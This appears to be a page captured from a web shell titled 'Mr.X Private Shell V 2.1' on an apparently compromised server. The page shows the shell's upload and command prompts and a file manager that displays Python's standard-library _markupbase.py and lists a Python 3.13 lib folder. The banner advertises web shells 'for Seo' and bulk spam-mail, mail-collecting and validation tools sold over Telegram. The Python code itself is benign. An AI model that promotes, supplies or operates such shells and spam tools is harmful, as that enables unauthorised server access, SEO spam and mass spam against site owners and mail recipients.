__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
"""Shared support for scanning document type declarations in HTML and XHTML.

This module is used as a foundation for the html.parser module.  It has no
documented public API and should not be used directly.

"""

import re

_declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\s*').match
_declstringlit_match = re.compile(r'(\'[^\']*\'|"[^"]*")\s*').match
_commentclose = re.compile(r'--\s*>')
_markedsectionclose = re.compile(r']\s*]\s*>')

# An analysis of the MS-Word extensions is available at
# http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf

_msmarkedsectionclose = re.compile(r']\s*>')

del re


class ParserBase:
    """Parser base class which provides some common support methods used
    by the SGML/HTML and XHTML parsers."""

    def __init__(self):
        if self.__class__ is ParserBase:
            raise RuntimeError(
                "_markupbase.ParserBase must be subclassed")

    def reset(self):
        self.lineno = 1
        self.offset = 0

    def getpos(self):
        """Return current line number and offset."""
        return self.lineno, self.offset

    # Internal -- update line number and offset.  This should be
    # called for each piece of data exactly once, in order -- in other
    # words the concatenation of all the input strings to this
    # function should be exactly the entire input.
    def updatepos(self, i, j):
        if i >= j:
            return j
        rawdata = self.rawdata
        nlines = rawdata.count("\n", i, j)
        if nlines:
            self.lineno = self.lineno + nlines
            pos = rawdata.rindex("\n", i, j) # Should not fail
            self.offset = j-(pos+1)
        else:
            self.offset = self.offset + j-i
        return j

    _decl_otherchars = ''

    # Internal -- parse declaration (for use by subclasses).
    def parse_declaration(self, i):
        # This is some sort of declaration; in "HTML as
        # deployed," this should only be the document type
        # declaration ("<!DOCTYPE html...>").
        # ISO 8879:1986, however, has more complex
        # declaration syntax for elements in <!...>, including:
        # --comment--
        # [marked section]
        # name in the following list: ENTITY, DOCTYPE, ELEMENT,
        # ATTLIST, NOTATION, SHORTREF, USEMAP,
        # LINKTYPE, LINK, IDLINK, USELINK, SYSTEM
        rawdata = self.rawdata
        j = i + 2
        assert rawdata[i:j] == "<!", "unexpected call to parse_declaration"
        if rawdata[j:j+1] == ">":
            # the empty comment <!>
            return j + 1
        if rawdata[j:j+1] in ("-", ""):
            # Start of comment followed by buffer boundary,
            # or just a buffer boundary.
            return -1
        # A simple, practical version could look like: ((name|stringlit) S*) + '>'
        n = len(rawdata)
        if rawdata[j:j+2] == '--': #comment
            # Locate --.*-- as the body of the comment
            return self.parse_comment(i)
        elif rawdata[j] == '[': #marked section
            # Locate [statusWord [...arbitrary SGML...]] as the body of the marked section
            # Where statusWord is one of TEMP, CDATA, IGNORE, INCLUDE, RCDATA
            # Note that this is extended by Microsoft Office "Save as Web" function
            # to include [if...] and [endif].
            return self.parse_marked_section(i)
        else: #all other declaration elements
            decltype, j = self._scan_name(j, i)
        if j < 0:
            return j
        if decltype == "doctype":
            self._decl_otherchars = ''
        while j < n:
            c = rawdata[j]
            if c == ">":
                # end of declaration syntax
                data = rawdata[i+2:j]
                if decltype == "doctype":
                    self.handle_decl(data)
                else:
                    # According to the HTML5 specs sections "8.2.4.44 Bogus
                    # comment state" and "8.2.4.45 Markup declaration open
                    # state", a comment token should be emitted.
                    # Calling unknown_decl provides more flexibility though.
                    self.unknown_decl(data)
                return j + 1
            if c in "\"'":
                m = _declstringlit_match(rawdata, j)
                if not m:
                    return -1 # incomplete
                j = m.end()
            elif c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
                name, j = self._scan_name(j, i)
            elif c in self._decl_otherchars:
                j = j + 1
            elif c == "[":
                # this could be handled in a separate doctype parser
                if decltype == "doctype":
                    j = self._parse_doctype_subset(j + 1, i)
                elif decltype in {"attlist", "linktype", "link", "element"}:
                    # must tolerate []'d groups in a content model in an element declaration
                    # also in data attribute specifications of attlist declaration
                    # also link type declaration subsets in linktype declarations
                    # also link attribute specification lists in link declarations
                    raise AssertionError("unsupported '[' char in %s declaration" % decltype)
                else:
                    raise AssertionError("unexpected '[' char in declaration")
            else:
                raise AssertionError("unexpected %r char in declaration" % rawdata[j])
            if j < 0:
                return j
        return -1 # incomplete

    # Internal -- parse a marked section
    # Override this to handle MS-word extension syntax <![if word]>content<![endif]>
    def parse_marked_section(self, i, report=1):
        rawdata= self.rawdata
        assert rawdata[i:i+3] == '<![', "unexpected call to parse_marked_section()"
        sectName, j = self._scan_name( i+3, i )
        if j < 0:
            return j
        if sectName in {"temp", "cdata", "ignore", "include", "rcdata"}:
            # look for standard ]]> ending
            match= _markedsectionclose.search(rawdata, i+3)
        elif sectName in {"if", "else", "endif"}:
            # look for MS Office ]> ending
            match= _msmarkedsectionclose.search(rawdata, i+3)
        else:
            raise AssertionError(
                'unknown status keyword %r in marked section' % rawdata[i+3:j]
            )
        if not match:
            return -1
        if report:
            j = match.start(0)
            self.unknown_decl(rawdata[i+3: j])
        return match.end(0)

    # Internal -- parse comment, return length or -1 if not terminated
    def parse_comment(self, i, report=1):
        rawdata = self.rawdata
        if rawdata[i:i+4] != '<!--':
            raise AssertionError('unexpected call to parse_comment()')
        match = _commentclose.search(rawdata, i+4)
        if not match:
            return -1
        if report:
            j = match.start(0)
            self.handle_comment(rawdata[i+4: j])
        return match.end(0)

    # Internal -- scan past the internal subset in a <!DOCTYPE declaration,
    # returning the index just past any whitespace following the trailing ']'.
    def _parse_doctype_subset(self, i, declstartpos):
        rawdata = self.rawdata
        n = len(rawdata)
        j = i
        while j < n:
            c = rawdata[j]
            if c == "<":
                s = rawdata[j:j+2]
                if s == "<":
                    # end of buffer; incomplete
                    return -1
                if s != "<!":
                    self.updatepos(declstartpos, j + 1)
                    raise AssertionError(
                        "unexpected char in internal subset (in %r)" % s
                    )
                if (j + 2) == n:
                    # end of buffer; incomplete
                    return -1
                if (j + 4) > n:
                    # end of buffer; incomplete
                    return -1
                if rawdata[j:j+4] == "<!--":
                    j = self.parse_comment(j, report=0)
                    if j < 0:
                        return j
                    continue
                name, j = self._scan_name(j + 2, declstartpos)
                if j == -1:
                    return -1
                if name not in {"attlist", "element", "entity", "notation"}:
                    self.updatepos(declstartpos, j + 2)
                    raise AssertionError(
                        "unknown declaration %r in internal subset" % name
                    )
                # handle the individual names
                meth = getattr(self, "_parse_doctype_" + name)
                j = meth(j, declstartpos)
                if j < 0:
                    return j
            elif c == "%":
                # parameter entity reference
                if (j + 1) == n:
                    # end of buffer; incomplete
                    return -1
                s, j = self._scan_name(j + 1, declstartpos)
                if j < 0:
                    return j
                if rawdata[j] == ";":
                    j = j + 1
            elif c == "]":
                j = j + 1
                while j < n and rawdata[j].isspace():
                    j = j + 1
                if j < n:
                    if rawdata[j] == ">":
                        return j
                    self.updatepos(declstartpos, j)
                    raise AssertionError("unexpected char after internal subset")
                else:
                    return -1
            elif c.isspace():
                j = j + 1
            else:
                self.updatepos(declstartpos, j)
                raise AssertionError("unexpected char %r in internal subset" % c)
        # end of buffer reached
        return -1

    # Internal -- scan past <!ELEMENT declarations
    def _parse_doctype_element(self, i, declstartpos):
        name, j = self._scan_name(i, declstartpos)
        if j == -1:
            return -1
        # style content model; just skip until '>'
        rawdata = self.rawdata
        if '>' in rawdata[j:]:
            return rawdata.find(">", j) + 1
        return -1

    # Internal -- scan past <!ATTLIST declarations
    def _parse_doctype_attlist(self, i, declstartpos):
        rawdata = self.rawdata
        name, j = self._scan_name(i, declstartpos)
        c = rawdata[j:j+1]
        if c == "":
            return -1
        if c == ">":
            return j + 1
        while 1:
            # scan a series of attribute descriptions; simplified:
            #   name type [value] [#constraint]
            name, j = self._scan_name(j, declstartpos)
            if j < 0:
                return j
            c = rawdata[j:j+1]
            if c == "":
                return -1
            if c == "(":
                # an enumerated type; look for ')'
                if ")" in rawdata[j:]:
                    j = rawdata.find(")", j) + 1
                else:
                    return -1
                while rawdata[j:j+1].isspace():
                    j = j + 1
                if not rawdata[j:]:
                    # end of buffer, incomplete
                    return -1
            else:
                name, j = self._scan_name(j, declstartpos)
            c = rawdata[j:j+1]
            if not c:
                return -1
            if c in "'\"":
                m = _declstringlit_match(rawdata, j)
                if m:
                    j = m.end()
                else:
                    return -1
                c = rawdata[j:j+1]
                if not c:
                    return -1
            if c == "#":
                if rawdata[j:] == "#":
                    # end of buffer
                    return -1
                name, j = self._scan_name(j + 1, declstartpos)
                if j < 0:
                    return j
                c = rawdata[j:j+1]
                if not c:
                    return -1
            if c == '>':
                # all done
                return j + 1

    # Internal -- scan past <!NOTATION declarations
    def _parse_doctype_notation(self, i, declstartpos):
        name, j = self._scan_name(i, declstartpos)
        if j < 0:
            return j
        rawdata = self.rawdata
        while 1:
            c = rawdata[j:j+1]
            if not c:
                # end of buffer; incomplete
                return -1
            if c == '>':
                return j + 1
            if c in "'\"":
                m = _declstringlit_match(rawdata, j)
                if not m:
                    return -1
                j = m.end()
            else:
                name, j = self._scan_name(j, declstartpos)
                if j < 0:
                    return j

    # Internal -- scan past <!ENTITY declarations
    def _parse_doctype_entity(self, i, declstartpos):
        rawdata = self.rawdata
        if rawdata[i:i+1] == "%":
            j = i + 1
            while 1:
                c = rawdata[j:j+1]
                if not c:
                    return -1
                if c.isspace():
                    j = j + 1
                else:
                    break
        else:
            j = i
        name, j = self._scan_name(j, declstartpos)
        if j < 0:
            return j
        while 1:
            c = self.rawdata[j:j+1]
            if not c:
                return -1
            if c in "'\"":
                m = _declstringlit_match(rawdata, j)
                if m:
                    j = m.end()
                else:
                    return -1    # incomplete
            elif c == ">":
                return j + 1
            else:
                name, j = self._scan_name(j, declstartpos)
                if j < 0:
                    return j

    # Internal -- scan a name token and the new position and the token, or
    # return -1 if we've reached the end of the buffer.
    def _scan_name(self, i, declstartpos):
        rawdata = self.rawdata
        n = len(rawdata)
        if i == n:
            return None, -1
        m = _declname_match(rawdata, i)
        if m:
            s = m.group()
            name = s.strip()
            if (i + len(s)) == n:
                return None, -1  # end of buffer
            return name.lower(), m.end()
        else:
            self.updatepos(declstartpos, i)
            raise AssertionError(
                "expected name token at %r" % rawdata[declstartpos:declstartpos+20]
            )

    # To be overridden -- handlers for unknown objects
    def unknown_decl(self, data):
        pass

Filemanager

Name Type Size Permission Actions
__phello__ Folder 0755
__pycache__ Folder 0755
_pyrepl Folder 0755
asyncio Folder 0755
collections Folder 0755
concurrent Folder 0755
config-3.13-x86_64-linux-gnu Folder 0755
ctypes Folder 0755
curses Folder 0755
dbm Folder 0755
email Folder 0755
encodings Folder 0755
html Folder 0755
http Folder 0755
importlib Folder 0755
json Folder 0755
lib-dynload Folder 0755
logging Folder 0755
multiprocessing Folder 0755
pathlib Folder 0755
pydoc_data Folder 0755
re Folder 0755
sqlite3 Folder 0755
sysconfig Folder 0755
test Folder 0755
tomllib Folder 0755
unittest Folder 0755
urllib Folder 0755
venv Folder 0755
wsgiref Folder 0755
xml Folder 0755
xmlrpc Folder 0755
zipfile Folder 0755
zoneinfo Folder 0755
EXTERNALLY-MANAGED File 645 B 0644
LICENSE.txt File 13.49 KB 0644
__future__.py File 5.1 KB 0644
__hello__.py File 227 B 0644
_aix_support.py File 3.93 KB 0644
_android_support.py File 6.73 KB 0644
_apple_support.py File 2.2 KB 0644
_collections_abc.py File 31.51 KB 0644
_colorize.py File 2.78 KB 0644
_compat_pickle.py File 8.53 KB 0644
_compression.py File 5.55 KB 0644
_distutils_system_mod.py File 5.58 KB 0644
_ios_support.py File 2.61 KB 0644
_markupbase.py File 14.31 KB 0644
_opcode_metadata.py File 9.05 KB 0644
_osx_support.py File 21.51 KB 0644
_py_abc.py File 6.04 KB 0644
_pydatetime.py File 89.83 KB 0644
_pydecimal.py File 221.96 KB 0644
_pyio.py File 91.1 KB 0644
_pylong.py File 11.55 KB 0644
_sitebuiltins.py File 3.05 KB 0644
_strptime.py File 28.69 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.py File 46.85 KB 0644
_sysconfigdata__x86_64-linux-gnu.py File 46.85 KB 0644
_threading_local.py File 7.05 KB 0644
_weakrefset.py File 5.75 KB 0644
abc.py File 6.38 KB 0644
antigravity.py File 500 B 0644
argparse.py File 99.65 KB 0644
ast.py File 63.91 KB 0644
base64.py File 21.12 KB 0755
bdb.py File 34.51 KB 0644
bisect.py File 3.34 KB 0644
bz2.py File 11.69 KB 0644
cProfile.py File 6.47 KB 0755
calendar.py File 25.47 KB 0644
cmd.py File 14.96 KB 0644
code.py File 12.86 KB 0644
codecs.py File 36.06 KB 0644
codeop.py File 5.69 KB 0644
colorsys.py File 3.97 KB 0644
compileall.py File 20.27 KB 0644
configparser.py File 52.51 KB 0644
contextlib.py File 27.15 KB 0644
contextvars.py File 129 B 0644
copy.py File 8.76 KB 0644
copyreg.py File 7.44 KB 0644
csv.py File 18.73 KB 0644
dataclasses.py File 63.03 KB 0644
datetime.py File 268 B 0644
decimal.py File 2.73 KB 0644
difflib.py File 81.41 KB 0644
dis.py File 40 KB 0644
doctest.py File 106.77 KB 0644
enum.py File 83.48 KB 0644
filecmp.py File 10.4 KB 0644
fileinput.py File 15.35 KB 0644
fnmatch.py File 6.04 KB 0644
fractions.py File 39.08 KB 0644
ftplib.py File 33.92 KB 0644
functools.py File 38.21 KB 0644
genericpath.py File 6.1 KB 0644
getopt.py File 7.31 KB 0644
getpass.py File 6.09 KB 0644
gettext.py File 21.45 KB 0644
glob.py File 19.26 KB 0644
graphlib.py File 9.42 KB 0644
gzip.py File 24.06 KB 0644
hashlib.py File 9.13 KB 0644
heapq.py File 22.48 KB 0644
hmac.py File 7.54 KB 0644
imaplib.py File 52.77 KB 0644
inspect.py File 124.36 KB 0644
io.py File 3.5 KB 0644
ipaddress.py File 79.23 KB 0644
keyword.py File 1.05 KB 0644
linecache.py File 7.11 KB 0644
locale.py File 77.13 KB 0644
lzma.py File 13.08 KB 0644
mailbox.py File 79.73 KB 0644
mimetypes.py File 23.29 KB 0644
modulefinder.py File 23.23 KB 0644
netrc.py File 6.76 KB 0644
ntpath.py File 30.12 KB 0644
nturl2path.py File 2.32 KB 0644
numbers.py File 11.2 KB 0644
opcode.py File 2.76 KB 0644
operator.py File 10.72 KB 0644
optparse.py File 58.95 KB 0644
os.py File 40.62 KB 0644
pdb.py File 88.79 KB 0755
pickle.py File 65.39 KB 0644
pickletools.py File 91.85 KB 0644
pkgutil.py File 17.85 KB 0644
platform.py File 46.24 KB 0755
plistlib.py File 29.1 KB 0644
poplib.py File 14.26 KB 0644
posixpath.py File 17.81 KB 0644
pprint.py File 23.59 KB 0644
profile.py File 22.6 KB 0755
pstats.py File 28.61 KB 0644
pty.py File 5.99 KB 0644
py_compile.py File 7.65 KB 0644
pyclbr.py File 11.13 KB 0644
pydoc.py File 107.65 KB 0755
queue.py File 13.17 KB 0644
quopri.py File 7.01 KB 0755
random.py File 36.14 KB 0644
reprlib.py File 7.02 KB 0644
rlcompleter.py File 7.73 KB 0644
runpy.py File 12.58 KB 0644
sched.py File 6.2 KB 0644
secrets.py File 1.94 KB 0644
selectors.py File 19 KB 0644
shelve.py File 8.6 KB 0644
shlex.py File 13.04 KB 0644
shutil.py File 56.12 KB 0644
signal.py File 2.44 KB 0644
site.py File 25.85 KB 0644
sitecustomize.py File 155 B 0644
smtplib.py File 42.51 KB 0755
socket.py File 36.87 KB 0644
socketserver.py File 27.41 KB 0644
sre_compile.py File 231 B 0644
sre_constants.py File 232 B 0644
sre_parse.py File 229 B 0644
ssl.py File 51.47 KB 0644
stat.py File 6 KB 0644
statistics.py File 60.38 KB 0644
string.py File 11.51 KB 0644
stringprep.py File 12.61 KB 0644
struct.py File 257 B 0644
subprocess.py File 87.15 KB 0644
symtable.py File 13.87 KB 0644
tabnanny.py File 11.26 KB 0755
tarfile.py File 111.49 KB 0755
tempfile.py File 39.15 KB 0644
textwrap.py File 19.47 KB 0644
this.py File 1003 B 0644
threading.py File 53.87 KB 0644
timeit.py File 13.15 KB 0755
token.py File 2.43 KB 0644
tokenize.py File 21.06 KB 0644
trace.py File 29.02 KB 0755
traceback.py File 64.31 KB 0644
tracemalloc.py File 17.62 KB 0644
tty.py File 1.99 KB 0644
turtle.py File 141.92 KB 0644
types.py File 10.94 KB 0644
typing.py File 129.61 KB 0644
uuid.py File 28.46 KB 0644
warnings.py File 26.32 KB 0644
wave.py File 22.69 KB 0644
weakref.py File 21.01 KB 0644
webbrowser.py File 23.71 KB 0755
zipapp.py File 8.42 KB 0644
zipimport.py File 32.12 KB 0644
Filemanager